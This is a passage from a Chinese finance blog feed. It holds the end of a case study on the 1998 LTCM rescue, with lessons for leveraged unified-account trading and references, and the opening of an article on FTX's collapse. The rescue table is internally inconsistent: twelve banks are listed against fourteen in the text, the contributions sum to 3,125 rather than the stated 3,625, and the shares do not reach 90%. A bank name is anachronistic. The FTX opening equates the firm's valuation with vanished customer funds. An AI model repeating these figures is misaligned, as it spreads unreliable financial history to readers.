LTCM救援财团银行出资构成分析表</strong></p><table><thead><tr><th>银行名称</th><th>出资金额(百万美元)</th><th>持股比例</th><th>风险敞口评估</th></tr></thead><tbody><tr><td>美银美林</td><td>300</td><td>8.2%</td><td>LTCM最大对手方</td></tr><tr><td>大通曼哈顿</td><td>300</td><td>8.2%</td><td>衍生品交易对手</td></tr><tr><td>花旗集团</td><td>300</td><td>8.2%</td><td>大额融资方</td></tr><tr><td>高盛</td><td>300</td><td>8.2%</td><td>主要股票经纪商</td></tr><tr><td>摩根士丹利</td><td>300</td><td>8.2%</td><td>债券交易对手</td></tr><tr><td>所罗门史密斯巴尼</td><td>300</td><td>8.2%</td><td>前梅利韦瑟东家</td></tr><tr><td>瑞银</td><td>300</td><td>8.2%</td><td>欧洲最大敞口</td></tr><tr><td>巴克莱</td><td>300</td><td>8.2%</td><td>英国主要银行</td></tr><tr><td>德意志银行</td><td>300</td><td>8.2%</td><td>德国代表</td></tr><tr><td>法国巴黎银行</td><td>300</td><td>8.2%</td><td>法国代表</td></tr><tr><td>雷曼兄弟</td><td>100</td><td>2.7%</td><td>较小风险敞口</td></tr><tr><td>美国信银</td><td>25</td><td>0.7%</td><td>有限参与</td></tr><tr><td><strong>总计</strong></td><td><strong>3,625</strong></td><td><strong>90%</strong></td><td></td></tr><tr><td>LTCM原股东</td><td>-</td><td>10%</td><td>剩余权益</td></tr></tbody></table><p><em>数据来源：纽约联储会议记录，《When Genius Failed》，1998年9月23日</em></p><p><strong>救援协议的关键条款：</strong></p><p><strong>1. 资金安排：</strong></p><ul><li><strong>注资总额</strong>：36.25亿美元</li><li><strong>资金用途</strong>：补充流动性，有序清算头寸</li><li><strong>分期投入</strong>：根据清算进度分批注入</li></ul><p><strong>2. 管理结构：</strong></p><ul><li><strong>监督委员会</strong>：14家银行各派一名代表</li><li><strong>日常运营</strong>：LTCM原管理团队继续负责</li><li><strong>薪酬限制</strong>：合伙人零奖金，基本工资维持日常运营</li><li><strong>决策权</strong>：重大决策需监督委员会批准</li></ul><p><strong>3. 清算时间表：</strong></p><ul><li><strong>目标期限</strong>：18个月内完成头寸清算</li><li><strong>分阶段执行</strong>：优先处理高风险、低流动性头寸</li><li><strong>市场监控</strong>：实时监控市场影响，调整清算节奏</li></ul><p><strong>救援行动的幕后英雄：</strong></p><p><strong>威廉·麦克多诺的领导力：</strong></p><ul><li><strong>危机判断</strong>：准确识别系统性风险的存在</li><li><strong>协调艺术</strong>：成功说服14家竞争对手合作</li><li><strong>政治智慧</strong>：避免使用政府资金，减少道德风险</li></ul><p><strong>彼得·费舍尔的专业能力：</strong></p><ul><li><strong>风险评估</strong>：深入分析LTCM的复杂头寸结构</li><li><strong>市场洞察</strong>：预见到强制清算的市场连锁反应</li><li><strong>执行监督</strong>：确保救援方案的顺利实施</li></ul><p><strong>救援结果与影响：</strong></p><p><strong>短期效果（1998年9月-1999年12月）：</strong></p><ul><li><strong>市场稳定</strong>：避免了LTCM头寸的无序抛售</li><li><strong>有序清算</strong>：18个月内完成大部分头寸平仓</li><li><strong>资金回收</strong>：36.25亿美元救援资金基本收回</li><li><strong>系统性风险缓解</strong>：金融市场逐步恢复正常</li></ul><p><strong>长期影响：</strong></p><ul><li><strong>道德风险争议</strong>：&quot;太大而不能倒&quot;概念的首次实践</li><li><strong>监管觉醒</strong>：对对冲基金监管的关注度提升</li><li><strong>风险管理革命</strong>：金融机构重新审视杠杆和流动性风险</li></ul><h3 id="2-2-LTCM事件的深层教训与现代启示">2.2 LTCM事件的深层教训与现代启示</h3><p>本节通过对LTCM失败原因的深度分析，提炼出对现代统一账户保证金交易具有指导意义的风险管理教训。LTCM的失败不是偶然事件，而是多重风险因素共同作用的结果，包括模型风险、杠杆风险、流动性风险和系统性风险。这些风险在统一账户交易环境中同样存在，甚至可能因为技术进步和市场复杂性增加而被放大。通过系统总结LTCM的教训，可以为现代交易者和风险管理者提供宝贵的实践指导。</p><h4 id="2-2-1-数学模型的局限性与模型风险管理">2.2.1 数学模型的局限性与模型风险管理</h4><p><strong>教训一：数学模型的局限性</strong></p><p><strong>模型假设 vs 现实：</strong></p><ul><li><strong>假设</strong>：正态分布，极端事件概率&lt;0.01%</li><li><strong>现实</strong>：1998年出现了多个&quot;8-sigma&quot;事件</li><li><strong>假设</strong>：独立性，各市场相关性稳定</li><li><strong>现实</strong>：危机时所有相关性趋向1</li></ul><p><strong>现代启示</strong>：</p><ul><li>币安统一账户的uniMMR模型同样基于历史数据</li><li>极端市场条件下，资产间相关性会急剧上升</li><li>折算率和风险参数需要压力测试</li></ul><h4 id="2-2-2-杠杆效应的双刃剑特性与杠杆风险控制">2.2.2 杠杆效应的双刃剑特性与杠杆风险控制</h4><p><strong>教训二：杠杆是双刃剑</strong></p><p><strong>LTCM杠杆演进：</strong></p><p>公式(2-6)：杠杆比例演进轨迹</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">L</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">t</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:8.64em;vertical-align:-4.07em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:4.45em;"><span style="top:-1.366em;"><span class="pstrut" style="height:4.416em;"></span><span class="delimsizinginner delim-size4"><span>⎩</span></span></span><span style="top:-1.358em;"><span class="pstrut" style="height:4.416em;"></span><span style="height:2.416em;width:0.8889em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.8889em" height="2.416em" style="width:0.8889em" viewBox="0 0 888.89 2416" preserveAspectRatio="xMinYMin"><path d="M384 0 H504 V2416 H384z M384 0 H504 V2416 H384z"/></svg></span></span><span style="top:-4.416em;"><span class="pstrut" style="height:4.416em;"></span><span class="delimsizinginner delim-size4"><span>⎨</span></span></span><span style="top:-5.558em;"><span class="pstrut" style="height:4.416em;"></span><span style="height:2.416em;width:0.8889em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.8889em" height="2.416em" style="width:0.8889em" viewBox="0 0 888.89 2416" preserveAspectRatio="xMinYMin"><path d="M384 0 H504 V2416 H384z M384 0 H504 V2416 H384z"/></svg></span></span><span style="top:-7.966em;"><span class="pstrut" style="height:4.416em;"></span><span class="delimsizinginner delim-size4"><span>⎧</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:3.95em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:4.57em;"><span style="top:-6.57em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord">12.5</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">1</span></span></span><span style="top:-5.13em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord">18.3</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">1</span></span></span><span style="top:-3.69em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord">20.1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">1</span></span></span><span style="top:-2.25em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord">26.5</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">1</span></span></span><span style="top:-0.81em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord">41.7</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">1</span></span></span><span style="top:0.63em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">200</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:4.07em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:1em;"></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:4.57em;"><span style="top:-6.57em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord text"><span class="mord">1994</span><span class="mord cjk_fallback">年</span></span></span></span><span style="top:-5.13em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord text"><span class="mord">1995</span><span class="mord cjk_fallback">年</span></span></span></span><span style="top:-3.69em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord text"><span class="mord">1996</span><span class="mord cjk_fallback">年</span></span></span></span><span style="top:-2.25em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord text"><span class="mord">1997</span><span class="mord cjk_fallback">年</span></span></span></span><span style="top:-0.81em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord text"><span class="mord">1998</span><span class="mord cjk_fallback">年初</span></span></span></span><span style="top:0.63em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord text"><span class="mord">1998</span><span class="mord cjk_fallback">年危机时</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:4.07em;"><span></span></span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:1em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">2</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">6</span><span class="mclose">)</span></span></span></span></span></p><p>其中<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">L</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">t</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>表示第<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6151em;"></span><span class="mord mathnormal">t</span></span></span></span>年的杠杆比例</p><p><strong>现代启示</strong>：</p><ul><li>统一账户允许更高的资金效率，但也意味着更高的潜在杠杆</li><li>需要严格的杠杆上限和实时监控</li><li>市场波动加剧时应主动降低杠杆</li></ul><h4 id="2-2-3-流动性风险管理：资产负债匹配的重要性">2.2.3 流动性风险管理：资产负债匹配的重要性</h4><p><strong>教训三：流动性风险的致命性</strong></p><p><strong>LTCM流动性错配：</strong></p><ul><li><strong>资产端</strong>：长期限、低流动性的套利头寸</li><li><strong>负债端</strong>：短期融资、随时可能抽走的保证金</li><li><strong>危机时</strong>：资产无法变现，负债立即到期</li></ul><p><strong>现代启示</strong>：</p><ul><li>统一账户下的资产调配需要考虑流动性匹配</li><li>应维持充足的高流动性资产作为缓冲</li><li>建立多元化的融资渠道</li></ul><h4 id="2-2-4-系统性风险的传导机制与风险防范">2.2.4 系统性风险的传导机制与风险防范</h4><p><strong>教训四：系统性风险的不可预测性</strong></p><p><strong>风险传导链：</strong></p><p><strong>图2-13: 系统性风险传导机制——从LTCM到现代金融市场的对比</strong></p><pre><code class="highlight mermaid">graph TD    A[&quot;俄罗斯债务危机&quot;] --&gt; B[&quot;全球流动性紧缩&quot;]    B --&gt; C[&quot;套利价差扩大&quot;]    C --&gt; D[&quot;LTCM巨额亏损&quot;]    D --&gt; E[&quot;银行风险敞口暴露&quot;]    E --&gt; F[&quot;系统性金融风险&quot;]    F --&gt; G[&quot;美联储紧急干预&quot;]    subgraph &quot;现代对比&quot;        H[&quot;加密货币市场动荡&quot;]        I[&quot;交易所参数调整&quot;]        J[&quot;大户强制清算&quot;]        K[&quot;连锁清算反应&quot;]    end</code></pre><p><em>数据来源：基于LTCM危机传导分析及现代金融市场对比研究</em></p><h3 id="2-3-LTCM事件对统一账户风险管理的具体指导原则">2.3 LTCM事件对统一账户风险管理的具体指导原则</h3><p>基于LTCM案例的深度分析，本节提出针对统一账户保证金交易的具体风险管理指导原则。这些原则结合了LTCM的失败教训和现代金融技术的发展，旨在帮助交易者在享受统一账户高效性的同时，有效防范系统性风险。</p><p><strong>1. 杠杆管理原则：</strong></p><p>公式(2-7)：安全杠杆计算模型</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">L</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">s</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.10764em;">f</span><span class="mord mathnormal mtight">e</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mop">min</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord mathnormal" style="margin-right:0.02778em;">DD</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">3</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.7693em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mord mathnormal mtight">imi</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">0.7</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">erso</span><span class="mord mathnormal mtight">na</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mspace" style="margin-right:1em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">2</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">7</span><span class="mclose">)</span></span></span></span></span></p><p>其中：</p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">L</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">s</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.10764em;">f</span><span class="mord mathnormal mtight">e</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：安全杠杆比例</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord mathnormal" style="margin-right:0.02778em;">DD</span></span></span></span>：最大预期回撤（Maximum Drawdown）</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mord mathnormal mtight">imi</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：监管上限</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">erso</span><span class="mord mathnormal mtight">na</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：个人风险承受能力</li></ul><p><strong>2. 流动性风险控制：</strong></p><ul><li>高流动性资产比例 ≥ 30%</li><li>应急资金 ≥ 总保证金的20%</li><li>多元化担保品，避免单一资产集中</li></ul><p><strong>3. 压力测试要求：</strong></p><ul><li>模拟2008年金融危机级别的市场冲击</li><li>测试连续3天50%的资产价格下跌</li><li>评估流动性枯竭情况下的生存能力</li></ul><p><strong>4. 实时风险监控：</strong></p><ul><li>uniMMR预警阈值：200%(安全)、150%(警告)、120%(危险)</li><li>相关性监控：当资产相关性异常上升时降低杠杆</li><li>波动率调整：根据VIX等恐慌指数动态调整仓位</li></ul><h2 id="3-研究结论与风险管理建议">3. 研究结论与风险管理建议</h2><h3 id="3-1-主要研究发现">3.1 主要研究发现</h3><p>本案例研究通过对LTCM事件的深度分析，得出以下主要发现：</p><ol><li><strong>模型风险的系统性特征</strong>：过度依赖历史数据和数学模型是高杠杆交易的根本风险源</li><li><strong>杠杆效应的非线性放大</strong>：杠杆在正常市场条件下提高效率，在极端条件下加速毁灭</li><li><strong>流动性风险的致命性</strong>：资产负债流动性错配是金融机构面临的最直接威胁</li><li><strong>系统性风险的传染性</strong>：金融机构间的高度关联使得单一机构风险快速传播为系统性危机</li></ol><h3 id="3-2-对统一账户保证金交易的指导意义">3.2 对统一账户保证金交易的指导意义</h3><p><strong>3.2.1 风险管理框架建议</strong></p><ul><li>建立多层次风险监控体系，包括实时杠杆监控、流动性预警和压力测试</li><li>实施动态风险调整机制，根据市场波动率调整杠杆上限和保证金要求</li><li>建立应急流动性管理机制，确保极端情况下的生存能力</li></ul><p><strong>3.2.2 投资者教育要点</strong></p><ul><li>普及杠杆交易的风险特征和潜在后果</li><li>强化对&quot;黑天鹅&quot;事件和极端市场条件的认识</li><li>培养理性的风险收益评估能力</li></ul><h3 id="3-3-结语：历史的启示与未来的警示">3.3 结语：历史的启示与未来的警示</h3><p>LTCM的故事告诉我们，即使是最聪明的头脑、最先进的模型、最充足的资金，在面对极端市场条件时也可能瞬间崩塌。对于使用统一账户保证金交易的投资者而言，LTCM的教训不是要我们放弃追求收益，而是要我们：</p><ul><li><strong>敬畏市场</strong>：永远不要认为自己已经完全理解了市场</li><li><strong>控制杠杆</strong>：杠杆是放大器，放大收益的同时也放大风险</li><li><strong>重视流动性</strong>：在任何时候都要确保有足够的流动性应对危机</li><li><strong>分散风险</strong>：不要把所有鸡蛋放在一个篮子里</li><li><strong>保持谦逊</strong>：&quot;黑天鹅&quot;事件虽然罕见，但一旦发生就可能是致命的</li></ul><p>正如LTCM创始人梅利韦瑟后来反思的：&quot;我们犯的最大错误是相信历史会重复自己。&quot;在统一账户保证金交易中，这句话同样值得每一个交易者深思。</p><h2 id="4-参考文献与延伸阅读">4. 参考文献与延伸阅读</h2><h3 id="4-1-权威研究资料">4.1 权威研究资料</h3><p><strong>官方机构研究报告：</strong></p><ol><li><p><a href="https://www.federalreservehistory.org/essays/ltcm-near-failure">美联储历史网站 - LTCM救援详细记录</a></p><ul><li>美联储官方历史档案，记录了1998年9月救援的完整过程</li><li>包含威廉·麦克多诺和彼得·费舍尔的详细证词</li><li>提供救援决策的内部视角和政策考量</li></ul></li><li><p><a href="https://www.bauer.uh.edu/rsusmel/7386/ltcm-2.htm">休斯顿大学LTCM案例研究</a></p><ul><li>学术级别的深度技术分析</li><li>详细的交易策略解构和风险因子分析</li><li>包含具体的损失分解和数学模型</li></ul></li><li><p><a href="https://www.richmondfed.org/publications/research/econ_focus/2009/summer/~/media/5634258DAAC944CE8C6E6CAE19FE93C0.ashx">里士满联储LTCM系统性风险分析</a></p><ul><li>专业的系统性风险和互联性分析</li><li>对&quot;太大而不能倒&quot;概念的深入探讨</li><li>救援行动对金融监管的影响评估</li></ul></li></ol><h3 id="4-2-中文深度分析资料">4.2 中文深度分析资料</h3><p><strong>风险管理专业网站：</strong></p><ol><li><a href="https://zhiqiang.org/risk-manage/ltcm-fall.html">阅微堂 - 长期资本投资公司风险分析</a><ul><li>风险计量模型的深度剖析</li><li>LTCM作为VaR模型滑铁卢的经典案例</li><li>数学模型在风险管理中的局限性</li><li>包含详细的时间线和交易策略分析</li></ul></li></ol><h3 id="4-3-核心学术引用">4.3 核心学术引用</h3><p><strong>关键案例研究：</strong></p><ul><li><strong>LTCM Case Study:</strong><ul><li>Federal Reserve History. <em>Near Failure of Long-Term Capital Management</em>. <a href="https://www.federalreservehistory.org/essays/ltcm-near-failure">https://www.federalreservehistory.org/essays/ltcm-near-failure</a></li><li>EconCrises. (2016, April 18). <em>Long-Term Capital Management</em>. <a href="https://www.econcrises.org/2016/04/18/long-term-capital-management/">https://www.econcrises.org/2016/04/18/long-term-capital-management/</a></li></ul></li></ul><p><strong>权威书籍与学术研究：</strong> 4. <a href="https://www.amazon.com/When-Genius-Failed-Long-Term-Management/dp/0375758259">《When Genius Failed》by Roger Lowenstein</a></p><ul><li>LTCM事件的权威传记，被誉为金融危机研究经典</li><li>基于深度采访的第一手资料</li><li>详细重现救援谈判的惊心动魄过程</li></ul><ol start="5"><li><p><a href="https://www.quantifiedstrategies.com/when-genius-failed/">Quantified Strategies - LTCM书评和总结</a></p><ul><li>专业交易者视角的LTCM教训分析</li><li>风险管理和杠杆控制的实践指导</li><li>对现代量化交易的启示</li></ul></li><li><p><a href="https://www.shortform.com/summary/when-genius-failed-summary-roger-lowenstein">Shortform Books - LTCM事件深度解析</a></p><ul><li>结构化的案例分析和教训总结</li><li>适合快速理解事件全貌</li><li>重点突出风险管理要点</li></ul></li></ol><p><strong>技术分析与风险研究：</strong> 7. <a href="https://www.econcrises.org/2016/04/18/long-term-capital-management/">Economic Crises - LTCM投资原理与失败分析</a></p><ul><li>专业的投资原理和模型风险分析</li><li>VaR模型局限性的深度探讨</li><li>包含详细的时间线和损失分解</li></ul><p><strong>注：</strong> 部分CFA Institute相关资料链接已失效，建议直接在CFA Institute官网搜索&quot;Long-Term Capital Management&quot;获取最新资源</p>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/finance/ltcm-risk-management-case-study/</id>
    <link href="https://www.blog-blockchain.xyz/finance/ltcm-risk-management-case-study/"/>
    <published>2025-07-27T06:31:00.000Z</published>
    <summary>两位诺贝尔经济学奖得主、前美联储副主席、华尔街顶级交易员组成的&quot;梦幻团队&quot;，如何在1998年短短4个月内将价值46亿美元的基金彻底摧毁？这个震撼全球金融界的真实故事，揭示了杠杆交易背后的致命陷阱。从辉煌的年化40%收益到惨烈的破产危机，LTCM的兴衰史为所有投资者敲响了风险管理的警钟。本文深度剖析这场华尔街历史上最具戏剧性的金融灾难，为现代杠杆交易者提供血的教训。</summary>
    <title>华尔街&quot;梦幻团队&quot;的惨痛教训：LTCM如何在4个月内损失46亿美元</title>
    <updated>2026-02-19T16:18:52.675Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="finance" scheme="https://www.blog-blockchain.xyz/categories/finance/"/>
    <category term="case study" scheme="https://www.blog-blockchain.xyz/categories/finance/case-study/"/>
    <category term="cryptocurrency" scheme="https://www.blog-blockchain.xyz/tags/cryptocurrency/"/>
    <category term="FTX" scheme="https://www.blog-blockchain.xyz/tags/FTX/"/>
    <category term="Alameda Research" scheme="https://www.blog-blockchain.xyz/tags/Alameda-Research/"/>
    <category term="financial collapse" scheme="https://www.blog-blockchain.xyz/tags/financial-collapse/"/>
    <category term="regulatory failure" scheme="https://www.blog-blockchain.xyz/tags/regulatory-failure/"/>
    <category term="fraud analysis" scheme="https://www.blog-blockchain.xyz/tags/fraud-analysis/"/>
    <content>
      <![CDATA[<h1>320亿美元消失记：FTX帝国崩塌背后的人性贪婪与制度失效</h1><h2 id="1-引言">1. 引言</h2><h3 id="1-1-一个震惊世界的金融骗局">1.1 一个震惊世界的金融骗局</h3><p>2022年11月11日，全球第二大加密货币交易所FTX申请破产。仅仅9天时间，这个曾经估值320亿美元的加密帝国就彻底崩塌，320亿美元客户资金人间蒸发，创始人Sam Bankman-Fried从福布斯富豪榜跌落到联邦监狱。</p><p>这不仅仅是一起商业失败，更是一场精心策划的世纪骗局。在&quot;有效利他主义&quot;的高尚外衣下，藏着的是对客户资金的肆意挪用；在天才宅男的谦逊形象背后，掩盖的是对权力的极度贪婪。当我们剥开层层伪装，会发现这是一个关于人性、权力和制度的深刻寓言。</p><h3 id="1-2-核心假设与适用范围">1.2 核心假设与适用范围</h3><p>本研究基于以下核心假设：</p><p><strong>假设1：市场信息不对称假设</strong></p><ul><li>市场参与者获取信息的能力和速度存在显著差异</li><li>内部人员相对于外部投资者具有信息优势</li><li>信息披露的完整性和及时性直接影响市场风险评估</li></ul><p><strong>假设2：理性人假设的修正</strong></p><ul><li>市场参与者在利益驱动下会选择最优策略</li><li>道德风险在信息不对称环境下会被放大</li><li>个人关系可能影响理性商业决策</li></ul><p><strong>假设3：系统互联性假设</strong></p><ul><li>现代金融机构之间存在高度关联性</li><li>单一机构的风险可能通过多种渠道传导至整个系统</li><li>杠杆效应会放大风险传导的速度和范围</li></ul><p><strong>适用范围说明：</strong><br>本研究主要适用于分析高杠杆、高关联度的金融机构系统性风险，特别是统一账户保证金交易模式下的风险特征。研究结论对传统金融机构和新兴加密货币交易平台均具有参考价值。</p><h3 id="1-3-关键术语定义">1.3 关键术语定义</h3><p><strong>统一账户保证金交易（Unified Margin Account）</strong>：一种允许交易者在单一账户中持有多种资产，并将所有资产作为统一担保品进行杠杆交易的金融产品模式。</p><p><strong>系统性风险（Systemic Risk）</strong>：指金融体系中某个环节出现问题时，通过各种传导机制影响整个金融体系稳定性的风险。</p><p><strong>流动性挤兑（Liquidity 